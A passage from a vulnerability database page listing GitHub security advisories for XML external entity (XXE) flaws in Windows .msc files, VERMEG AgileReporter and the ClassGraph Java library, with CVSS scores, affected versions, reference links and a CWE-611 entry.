  },
  "details": "The Microsoft Common Console Document (.msc) in Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1 allows an attacker to read arbitrary files via an XML external entity (XXE) declaration, due to the way that the Microsoft Common Console Document (.msc) parses XML input containing a reference to an external entity, aka \"Windows Information Disclosure Vulnerability\".",
  "id": "GHSA-v2hx-p2cq-5wm5",
  "modified": "2022-05-13T01:47:41Z",
  "published": "2022-05-13T01:47:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8710"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8710"
    },
    {
      "type": "WEB",
      "url": "https://www.vulnerability-lab.com/get_content.php?id=2094"
    },
    {
      "type": "WEB",
      "url": "https://www.youtube.com/watch?v=bIFot3a-58I"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100793"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039325"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2PP-7V4J-XG4G

Vulnerability from github – Published: 2023-10-27 21:30 – Updated: 2023-11-08 03:30

Details

An issue was discovered in VERMEG AgileReporter 21.3. XXE can occur via an XML document to the Analysis component.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-34832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-27T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in VERMEG AgileReporter 21.3. XXE can occur via an XML document to the Analysis component.",
  "id": "GHSA-v2pp-7v4j-xg4g",
  "modified": "2023-11-08T03:30:31Z",
  "published": "2023-10-27T21:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34832"
    },
    {
      "type": "WEB",
      "url": "https://crashpark.weebly.com/blog/xxe-in-agilereporter-213-by-vermeg"
    },
    {
      "type": "WEB",
      "url": "https://www.vermeg.com/agile-reporter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2XM-76PQ-PHCF

Vulnerability from github – Published: 2024-06-21 06:31 – Updated: 2024-06-21 15:06

Summary

ClassGraph XML External Entity Reference

Details

ClassGraph before 4.8.112 was not resistant to XML eXternal Entity (XXE) attacks.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.classgraph:classgraph"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.8.112"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-47621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-21T15:06:26Z",
    "nvd_published_at": "2024-06-21T06:15:10Z",
    "severity": "MODERATE"
  },
  "details": "ClassGraph before 4.8.112 was not resistant to XML eXternal Entity (XXE) attacks.",
  "id": "GHSA-v2xm-76pq-phcf",
  "modified": "2024-06-21T15:06:26Z",
  "published": "2024-06-21T06:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47621"
    },
    {
      "type": "WEB",
      "url": "https://github.com/classgraph/classgraph/pull/539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/classgraph/classgraph/commit/681362ad6b0b9d9abaffb2e07099ce54d7a41fa3"
    },
    {
      "type": "WEB",
      "url": "https://docs.r3.com/en/platform/corda/4.8/enterprise/release-notes-enterprise.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/classgraph/classgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/classgraph/classgraph/releases/tag/classgraph-4.8.112"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ClassGraph XML External Entity Reference"
}

CWE-611

Improper Restriction of XML External Entity Reference

Summary

Details

PoC

Impact

Description

Steps to Reproduce

Mitigations

Impact

Mitigation

CAPEC-221: Data Serialization External Entities Blowup